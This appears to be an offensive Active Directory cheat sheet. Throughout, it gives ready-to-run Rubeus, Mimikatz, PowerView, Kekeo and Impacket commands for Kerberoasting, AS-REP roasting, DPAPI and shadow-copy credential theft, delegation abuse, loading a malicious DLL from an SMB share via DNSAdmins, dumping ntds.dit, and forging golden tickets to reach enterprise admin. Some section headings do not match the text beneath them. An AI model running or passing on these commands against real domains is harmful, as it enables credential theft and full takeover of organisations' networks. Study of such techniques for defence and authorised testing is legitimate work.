WUT IS DIS?:
All standard domain users can request a copy of all service accounts along with their correlating password hashes, so we can ask a TGS for any SPN that is bound to a "user"
account, extract the encrypted blob that was encrypted using the user's password and bruteforce it offline.
PowerView:
#Get User Accounts that are used as Service Accounts
Get-NetUser -SPN
#Get every available SPN account, request a TGS and dump its hash
Invoke-Kerberoast
#Requesting the TGS for a single account:
Request-SPNTicket
#Export all tickets using Mimikatz
Invoke-Mimikatz -Command '"kerberos::list /export"'
AD Module:
#Get User Accounts that are used as Service Accounts
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
#Kerberoasting and outputing on a file with a spesific format
Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName>
#Kerberoasting whle being "OPSEC" safe, essentially while not try to roast AES enabled accounts
Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> /rc4opsec
#Kerberoast AES enabled accounts
Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> /aes
#Kerberoast spesific user account
Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> /user:<username> /simple
#Kerberoast by specifying the authentication credentials
Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> /creduser:<username> /credpassword:<password>
ASREPRoast
WUT IS DIS?:
If a domain user account do not require kerberos preauthentication, we can request a valid TGT for this account without even having domain credentials, extract the encrypted
blob and bruteforce it offline.
AD Module: Get-ADUser -Filter {DoesNoteRequirePreAuth -eq $True} -Properties DoesNoteRequirePreAuth
Forcefully Disable Kerberos Preauth on an account i have Write Permissions or more! Check for interesting permissions on accounts:
Hint: We add a filter e.g. RDPUsers to get "User Accounts" not Machine Accounts, because Machine Account hashes are not crackable!
PowerView:
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"}
Disable Kerberos Preauth:
Set-DomainObject -Identity <UserAccount> -XOR @{useraccountcontrol=4194304} -Verbose
Check if the value changed:
Get-DomainUser -PreauthNotRequired -Verbose
And finally execute the attack using the ASREPRoast tool.
#Get a spesific Accounts hash:
Get-ASREPHash -UserName <UserName> -Verbose
#Get any ASREPRoastable Users hashes:
Invoke-ASREPRoast -Verbose
Using Rubeus:
#Trying the attack for all domain users
Rubeus.exe asreproast /format:<hashcat|john> /domain:<DomainName> /outfile:<filename>
#ASREPRoast spesific user
Rubeus.exe asreproast /user:<username> /format:<hashcat|john> /domain:<DomainName> /outfile:<filename>
#ASREPRoast users of a spesific OU (Organization Unit)
Rubeus.exe asreproast /ou:<OUName> /format:<hashcat|john> /domain:<DomainName> /outfile:<filename>
Using Impacket:
#Trying the attack for the specified users on the file
python GetNPUsers.py <domain_name>/ -usersfile <users_file> -outputfile <FileName>
Password Spray Attack
If we have harvest some passwords by compromising a user account, we can use this method to try and exploit password reuse on other domain accounts.
WUT IS DIS ?: If we have enough permissions -> GenericAll/GenericWrite we can set a SPN on a target account, request a TGS, then grab its blob and bruteforce it.
PowerView:
#Check for interesting permissions on accounts:
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"}
#Check if current user has already an SPN setted:
Get-DomainUser -Identity <UserName> | select serviceprincipalname
#Force set the SPN on the account:
Set-DomainObject <UserName> -Set @{serviceprincipalname='ops/whatever1'}
AD Module:
#Check if current user has already an SPN setted
Get-ADUser -Identity <UserName> -Properties ServicePrincipalName | select ServicePrincipalName
#Force set the SPN on the account:
Set-ADUser -Identiny <UserName> -ServicePrincipalNames @{Add='ops/whatever1'}
Finally use any tool from before to grab the hash and kerberoast it!
Abusing Shadow Copies
If you have local administrator access on a machine try to list shadow copies, it's an easy way for Domain Escalation.
#List shadow copies using vssadmin (Needs Admnistrator Access)
vssadmin list shadows
#List shadow copies using diskshadow
diskshadow list shadows all
#Make a symlink to the shadow copy and access it
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
You can dump the backuped SAM database and harvest credentials.
Look for DPAPI stored creds and decrypt them.
Access backuped sensitive files.
List and Decrypt Stored Credentials using Mimikatz
Usually encrypted credentials are stored in:
%appdata%\Microsoft\Credentials
%localappdata%\Microsoft\Credentials
#By using the cred function of mimikatz we can enumerate the cred object and get information about it:
dpapi::cred /in:"%appdata%\Microsoft\Credentials\<CredHash>"
#From the previous command we are interested to the "guidMasterKey" parameter, that tells us which masterkey was used to encrypt the credential
#Lets enumerate the Master Key:
dpapi::masterkey /in:"%appdata%\Microsoft\Protect\<usersid>\<MasterKeyGUID>"
#Now if we are on the context of the user (or system) that the credential belogs to, we can use the /rpc flag to pass the decryption of the masterkey to the domain controler:
dpapi::masterkey /in:"%appdata%\Microsoft\Protect\<usersid>\<MasterKeyGUID>" /rpc
#We now have the masterkey in our local cache:
dpapi::cache
#Finally we can decrypt the credential using the cached masterkey:
dpapi::cred /in:"%appdata%\Microsoft\Credentials\<CredHash>"
WUT IS DIS ?: If we have Administrative access on a machine that has Unconstrained Delegation enabled, we can wait for a high value target or DA to connect to it, steal his TGT then ptt and impersonate him!
Using PowerView:
#Discover domain joined computers that have Unconstrained Delegation enabled
Get-NetComputer -UnConstrained
#List tickets and check if a DA or some High Value target has stored its TGT
Invoke-Mimikatz -Command '"sekurlsa::tickets"'
#Command to monitor any incoming sessions on our compromised server
Invoke-UserHunter -ComputerName <NameOfTheComputer> -Poll <TimeOfMonitoringInSeconds> -UserName <UserToMonitorFor> -Delay
<WaitInterval> -Verbose
#Dump the tickets to disk:
Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'
#Impersonate the user using ptt attack:
Invoke-Mimikatz -Command '"kerberos::ptt <PathToTicket>"'
Note: We can also use Rubeus!
Constrained Delegation
Using PowerView and Kekeo:
#Enumerate Users and Computers with constrained delegation
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth
#If we have a user that has Constrained delegation, we ask for a valid tgt of this user using kekeo
tgt::ask /user:<UserName> /domain:<Domain's FQDN> /rc4:<hashedPasswordOfTheUser>
#Then using the TGT we have ask a TGS for a Service this user has Access to through constrained delegation
tgs::s4u /tgt:<PathToTGT> /user:<UserToImpersonate>@<Domain's FQDN> /service:<Service's SPN>
#Finally use mimikatz to ptt the TGS
Invoke-Mimikatz -Command '"kerberos::ptt <PathToTGS>"'
Now we can access the service as the impersonated user!
In this case we can still abuse a feature of kerberos called "alternative service". This allows us to request TGS tickets for other "alternative" services and not only for the one we have rights for. Thats gives us the leverage to request valid tickets for any service we want that the host supports, giving us full access over the target machine.
Resource Based Constrained Delegation
WUT IS DIS?:TL;DRIf we have GenericALL/GenericWrite privileges on a machine account object of a domain, we can abuse it and impersonate ourselves as any user of the domain to it. For example we can impersonate Domain Administrator and have complete access.
First we need to enter the security context of the user/machine account that has the privileges over the object. If it is a user account we can use Pass the Hash, RDP, PSCredentials etc.
Exploitation Example:
#Import Powermad and use it to create a new MACHINE ACCOUNT
. .\Powermad.ps1
New-MachineAccount -MachineAccount <MachineAccountName> -Password $(ConvertTo-SecureString 'p@ssword!' -AsPlainText -Force) -Verbose
#Import PowerView and get the SID of our new created machine account
. .\PowerView.ps1
$ComputerSid = Get-DomainComputer <MachineAccountName> -Properties objectsid | Select -Expand objectsid
#Then by using the SID we are going to build an ACE for the new created machine account using a raw security descriptor:
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
#Next, we need to set the security descriptor in the msDS-AllowedToActOnBehalfOfOtherIdentity field of the computer account we're taking over, again using PowerView
Get-DomainComputer TargetMachine | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
#After that we need to get the RC4 hash of the new machine account's password using Rubeus
Rubeus.exe hash /password:'p@ssword!'
#And for this example, we are going to impersonate Domain Administrator on the cifs service of the target computer using Rubeus
Rubeus.exe s4u /user:<MachineAccountName> /rc4:<RC4HashOfMachineAccountPassword> /impersonateuser:Administrator /msdsspn:cifs/TargetMachine.wtver.domain /domain:wtver.domain /ptt
#Finally we can access the C$ drive of the target machine
dir \\TargetMachine.wtver.domain\C$
WUT IS DIS ?: If a user is a member of the DNSAdmins group, he can possibly load an arbitary DLL with the privileges of dns.exe that runs as SYSTEM. In case the DC serves a DNS, the user can escalate his privileges to DA. This exploitation process needs privileges to restart the DNS service to work.
Once we found a member of this group we need to compromise it (There are many ways).
Then by serving a malicious DLL on a SMB share and configuring the dll usage,we can escalate our privileges:
#Using dnscmd:
dnscmd <NameOfDNSMAchine> /config /serverlevelplugindll \\Path\To\Our\Dll\malicious.dll
#Restart the DNS Service:
sc \\DNSServer stop dns
sc \\DNSServer start dns
WUT IS DIS ?: If we manage to compromise a user account that is member of the Backup Operators group, we can then abuse it's SeBackupPrivilege to create a shadow copy of the current state of the DC, extract the ntds.dit database file, dump the hashes and escalate our privileges to DA.
Once we have access on an account that has the SeBackupPrivilege we can access the DC and create a shadow copy using the signed binary diskshadow:
#Create a .txt file that will contain the shadow copy process script
Script ->{
set context persistent nowriters
set metadata c:\windows\system32\spool\drivers\color\example.cab
set verbose on
begin backup
add volume c: alias mydrive
create
expose %mydrive% w:
end backup
}
#Execute diskshadow with our script as parameter
diskshadow /s script.txt
Next we need to access the shadow copy, we may have the SeBackupPrivilege but we cant just simply copy-paste ntds.dit, we need to mimic a backup software and use Win32 API calls to copy it on an accessible folder. For this we are going to use this amazing repo:
#Importing both dlls from the repo using powershell
Import-Module .\SeBackupPrivilegeCmdLets.dll
Import-Module .\SeBackupPrivilegeUtils.dll
#Checking if the SeBackupPrivilege is enabled
Get-SeBackupPrivilege
#If it isn't we enable it
Set-SeBackupPrivilege
#Use the functionality of the dlls to copy the ntds.dit database file from the shadow copy to a location of our choice
Copy-FileSeBackupPrivilege w:\windows\NTDS\ntds.dit c:\<PathToSave>\ntds.dit -Overwrite
#Dump the SYSTEM hive
reg save HKLM\SYSTEM c:\temp\system.hive
Using smbclient.py from impacket or some other tool we copy ntds.dit and the SYSTEM hive on our local machine.
Use secretsdump.py from impacket and dump the hashes.
Use psexec or another tool of your choice to PTH and get Domain Admin access.
WUT IS DIS?: If we manage to compromise a child domain of a forest and SID filtering isn't enabled (most of the times is not), we can abuse it to privilege escalate to Domain Administrator of the root domain of the forest. This is possible because of the SID History field on a kerberos TGT ticket, that defines the "extra" security groups and privileges.
Exploitation example:
#Get the SID of the Current Domain using PowerView
Get-DomainSID -Domain current.root.domain.local
#Get the SID of the Root Domain using PowerView
Get-DomainSID -Domain root.domain.local
#Create the Enteprise Admins SID
Format: RootDomainSID-519
#Forge "Extra" Golden Ticket using mimikatz
kerberos::golden /user:Administrator /domain:current.root.domain.local /sid:<CurrentDomainSID> /krbtgt:<krbtgtHash> /sids:<EnterpriseAdminsSID> /startoffset:0 /endin:600 /renewmax:10080 /ticket:\path\to\ticket\golden.kirbi
#Inject the ticket into memory
kerberos::ptt \path\to\ticket\golden.kirbi
#List the DC of the Root Domain
dir \\dc.root.domain.local\C$
#Or DCsync and dump the hashes using mimikatz
lsadump::dcsync /domain:root.domain.local /all
What if we have delegation rights for only a spesific SPN? (e.g TIME):
In Constrain and Resource-Based Constrained Delegation if we don't have the password/hash of the account with TRUSTED_TO_AUTH_FOR_DELEGATION that we try to abuse, we can use the very nice trick "tgt::deleg" from kekeo or "tgtdeleg" from rubeus and fool Kerberos to give us a valid TGT for that account. Then we just use the ticket instead of the hash of the account to perform the attack.
